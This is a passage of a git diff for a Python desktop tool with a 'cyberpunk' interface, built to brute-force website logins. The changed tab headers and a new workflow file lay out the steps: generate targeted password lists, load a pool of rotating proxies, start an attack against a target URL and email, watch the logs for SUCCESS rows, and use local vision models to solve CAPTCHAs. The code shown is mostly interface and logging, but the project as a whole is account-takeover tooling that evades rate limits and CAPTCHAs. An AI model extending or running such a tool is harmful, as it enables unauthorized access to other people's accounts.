"04", "[ ATTEMPT LOGS ]", + "Persistent history of every login attempt — loaded from data/attempt_log.csv", ) - title.pack(pady=(15, 5)) - - subtitle = ctk.CTkLabel( - self, text="Full history of all login attempts with timestamps and proxy details", - font=("Consolas", 10), - text_color=CyberpunkTheme.TEXT_SECONDARY, + CyberpunkTheme.create_hint_bar( + self, + "Filter SUCCESS/FAILED rows · REFRESH during attacks · EXPORT full CSV history", ) - subtitle.pack(pady=(0, 15)) # === Controls === controls_frame = ctk.CTkFrame(self, fg_color=CyberpunkTheme.BG_DARK, border_width=1, border_color=CyberpunkTheme.BORDER) @@ -142,7 +137,8 @@ class LogsTab(ctk.CTkFrame): return text if text.endswith("ms") else f"{text}ms" def _refresh_logs(self): - """Refresh the log display from the logger buffer.""" + """Refresh the log display from the logger buffer and disk.""" + self.attempt_logger.load_history_from_disk(limit=5000) # Clear existing rows for widget in self.log_list_frame.winfo_children(): widget.destroy() @@ -206,6 +202,9 @@ class LogsTab(ctk.CTkFrame): try: entries = self.attempt_logger.get_recent(10000) + if not entries and ATTEMPT_LOG_FILE.exists(): + with open(ATTEMPT_LOG_FILE, newline="", encoding="utf-8") as f: + entries = list(csv.DictReader(f))[-10000:] if not entries: messagebox.showinfo("Export", "No log entries to export.") return diff --git a/src/gui/password_builder_tab.py b/src/gui/password_builder_tab.py index 05b5745..ef26bdf 100644 --- a/src/gui/password_builder_tab.py +++ b/src/gui/password_builder_tab.py @@ -17,31 +17,26 @@ logger = logging.getLogger(__name__) class PasswordBuilderTab(ctk.CTkFrame): """Tab for configuring and generating password candidates.""" - def __init__(self, parent, status_callback=None): + def __init__(self, parent, status_callback=None, app=None): super().__init__(parent, fg_color=CyberpunkTheme.BG_MEDIUM) self.generator = PasswordGenerator() self.generated_count = 0 self.status_callback = status_callback + self.app = app self._stats_after_id = None self._estimate_after_id = None self._build_ui() def _build_ui(self): """Build the complete password builder UI.""" - # Title - title = ctk.CTkLabel( - self, text="[ PASSWORD BUILDER ]", - font=("Consolas", 18, "bold"), - text_color=CyberpunkTheme.PRIMARY, + CyberpunkTheme.create_tab_header( + self, "01", "[ PASSWORD BUILDER ]", + "Crush-style generator — fragments, rules, patterns, GPU acceleration", ) - title.pack(pady=(15, 5)) - - subtitle = ctk.CTkLabel( - self, text="Configure fragments, rules, and patterns to generate targeted password candidates", - font=("Consolas", 10), - text_color=CyberpunkTheme.TEXT_SECONDARY, + CyberpunkTheme.create_hint_bar( + self, + "Enter fragments/words → configure rules → GENERATE → saves to data/passwords.txt", ) - subtitle.pack(pady=(0, 15)) # Main content area (scrollable) self.content = ctk.CTkScrollableFrame( diff --git a/src/gui/proxy_manager_tab.py b/src/gui/proxy_manager_tab.py index 1f3e30c..a0f14f6 100644 --- a/src/gui/proxy_manager_tab.py +++ b/src/gui/proxy_manager_tab.py @@ -45,12 +45,13 @@ class _ProxyRow: class ProxyManagerTab(ctk.CTkFrame): - def __init__(self, parent, proxy_pool: ProxyPool, status_callback=None): + def __init__(self, parent, proxy_pool: ProxyPool, status_callback=None, app=None): super().__init__(parent, fg_color=CyberpunkTheme.BG_MEDIUM) self.proxy_pool = proxy_pool self.fetcher = ProxyFetcher() self.validator = ProxyValidator() self.status_callback = status_callback + self.app = app self._rows: Dict[str, _ProxyRow] = {} self._seq_testing = False # True while sequential TEST ALL is running @@ -62,13 +63,14 @@ class ProxyManagerTab(ctk.CTkFrame): # ── UI ──────────────────────────────────────────────────────────────────── def _build_ui(self): - ctk.CTkLabel(self, text="[ PROXY MANAGER ]", - font=("Consolas", 18, "bold"), - text_color=CyberpunkTheme.PRIMARY).pack(pady=(15, 2)) - ctk.CTkLabel(self, - text="Fetch · Test sequentially (red→yellow→green) · Remove dead · Commit to pool", - font=("Consolas", 10), - text_color=CyberpunkTheme.TEXT_SECONDARY).pack(pady=(0, 12)) + CyberpunkTheme.create_tab_header( + self, "02", "[ PROXY MANAGER ]", + "Fetch, test sequentially, and commit healthy proxies to the attack pool", + ) + CyberpunkTheme.create_hint_bar( + self, + "FETCH or paste proxies → TEST ALL (one at a time) → remove dead → COMMIT TO POOL", + ) # ── Control bar ─────────────────────────────────────────────────────── ctrl = ctk.CTkFrame(self, fg_color=CyberpunkTheme.BG_DARK, diff --git a/src/gui/setup_tab.py b/src/gui/setup_tab.py index c5f9ae4..85a5cfb 100644 --- a/src/gui/setup_tab.py +++ b/src/gui/setup_tab.py @@ -157,29 +157,25 @@ class SetupTab(ctk.CTkFrame): - Browser automation settings """ - def __init__(self, parent): + def __init__(self, parent, status_callback=None, app=None): super().__init__(parent, fg_color=CyberpunkTheme.BG_MEDIUM) self.ollama = OllamaManager() self.config = OllamaConfig() + self.status_callback = status_callback + self.app = app self._build_ui() self._load_saved_config() def _build_ui(self): """Build the setup tab UI.""" - # Title - title = ctk.CTkLabel( - self, text="[ SETUP & CONFIGURATION ]", - font=("Consolas", 18, "bold"), - text_color=CyberpunkTheme.PRIMARY, + CyberpunkTheme.create_tab_header( + self, "05", "[ SETUP & AI ]", + "Ollama vision models for local CAPTCHA OCR — configure before attacks hit CAPTCHAs", ) - title.pack(pady=(15, 5)) - - subtitle = ctk.CTkLabel( - self, text="Configure Ollama vision models, CAPTCHA solving, and automation settings", - font=("Consolas", 10), - text_color=CyberpunkTheme.TEXT_SECONDARY, + CyberpunkTheme.create_hint_bar( + self, + "Connect Ollama → pick vision model (deepseek-ocr, llava) → TEST CAPTCHA SOLVER → SAVE", ) - subtitle.pack(pady=(0, 15)) # Main content (scrollable) self.content = ctk.CTkScrollableFrame( diff --git a/src/gui/theme.py b/src/gui/theme.py index 25f1e9a..d6b4a5d 100644 --- a/src/gui/theme.py +++ b/src/gui/theme.py @@ -263,3 +263,59 @@ class CyberpunkTheme: wrapper.after(900, _blink) return wrapper, status_label + + @staticmethod + def create_tab_header(parent, step_num: str, title: str, subtitle: str): + """Consistent tab title block with step badge.""" + hdr = ctk.CTkFrame(parent, fg_color="transparent") + hdr.pack(fill="x", pady=(12, 6)) + + badge = ctk.CTkLabel( + hdr, + text=f" STEP {step_num} ", + font=("Consolas", 10, "bold"), + text_color=CyberpunkTheme.BG_DARK, + fg_color=CyberpunkTheme.TERTIARY, + corner_radius=4, + ) + badge.pack(side="left", padx=(0, 10)) + + text_col = ctk.CTkFrame(hdr, fg_color="transparent") + text_col.pack(side="left", fill="x", expand=True) + + ctk.CTkLabel( + text_col, + text=title, + font=("Consolas", 18, "bold"), + text_color=CyberpunkTheme.PRIMARY, + anchor="w", + ).pack(anchor="w") + + ctk.CTkLabel( + text_col, + text=subtitle, + font=("Consolas", 10), + text_color=CyberpunkTheme.TEXT_SECONDARY, + anchor="w", + ).pack(anchor="w", pady=(2, 0)) + + return hdr + + @staticmethod + def create_hint_bar(parent, text: str, color=None): + """Dim one-line action hint under a tab header.""" + bar = ctk.CTkFrame( + parent, + fg_color=CyberpunkTheme.BG_DARK, + border_width=1, + border_color=CyberpunkTheme.BORDER, + ) + bar.pack(fill="x", padx=15, pady=(0, 10)) + ctk.CTkLabel( + bar, + text=f"▸ {text}", + font=("Consolas", 10), + text_color=color or CyberpunkTheme.TEXT_DIM, + anchor="w", + ).pack(fill="x", padx=12, pady=8) + return bar diff --git a/src/gui/workflow.py b/src/gui/workflow.py new file mode 100644 index 0000000..da27a89 --- /dev/null +++ b/src/gui/workflow.py @@ -0,0 +1,43 @@ +""" +Shared workflow definitions — keeps tab order and user guidance consistent. +""" + +WORKFLOW_STEPS = [ + { + "num": "01", + "key": "build", + "tab": "Password Builder", + "title": "BUILD WORDLIST", + "hint": "Fragments, rules, patterns → GENERATE → saves to passwords.txt", + }, + { + "num": "02", + "key": "proxies", + "tab": "Proxy Manager", + "title": "LOAD PROXIES", + "hint": "FETCH or paste → TEST ALL → COMMIT TO POOL", + }, + { + "num": "03", + "key": "attack", + "tab": "Attack", + "title": "RUN ATTACK", + "hint": "Target URL + email → START (uses wordlist + proxy pool)", + }, + { + "num": "04", + "key": "logs", + "tab": "Logs", + "title": "REVIEW LOGS", + "hint": "Filter attempts, export CSV, watch for SUCCESS rows", + }, + { + "num": "05", + "key": "setup", + "tab": "Setup", + "title": "AI / CAPTCHA", + "hint": "Ollama host + vision model for local CAPTCHA OCR testing", + }, +] + +TAB_TO_STEP = {step["tab"]: step for step in WORKFLOW_STEPS} diff --git a/src/utils/logger.py b/src/utils/logger.py index e296420..0c981e5 100644 --- a/src/utils/logger.py +++ b/src/utils/logger.py @@ -16,9 +16,23 @@ class AttemptLogger: def __init__(self, log_path: Optional[Path] = None): self.log_path = log_path or ATTEMPT_LOG_FILE - self.buffer = [] # In-memory list of log entries for GUI display + self.buffer = [] self._lock = threading.Lock() self._init_csv() + self.load_history_from_disk(limit=5000) + + def load_history_from_disk(self, limit: int = 5000): + """Load persisted CSV rows into the in-memory buffer for the GUI.""" + if not self.log_path.exists(): + return + try: + with open(self.log_path, newline="", encoding="utf-8") as f: + rows = list(csv.DictReader(f)) + with self._lock: + self.buffer = rows[-limit:] + except Exception as exc: + logger = logging.getLogger(__name__) + logger.warning(f"Could not load attempt log history: {exc}") def _init_csv(self): """Create CSV with headers if it doesn't exist.""" @@ -76,8 +90,8 @@ class AttemptLogger: """Get aggregate statistics from the log.""" with self._lock: total = len(self.buffer) - successes = sum(1 for e in self.buffer if e["result"] == "SUCCESS") - failures = total - successes + successes = sum(1 for e in self.buffer if e.get("result") == "SUCCESS") + failures = total - successes return { "total": total, "successes": successes,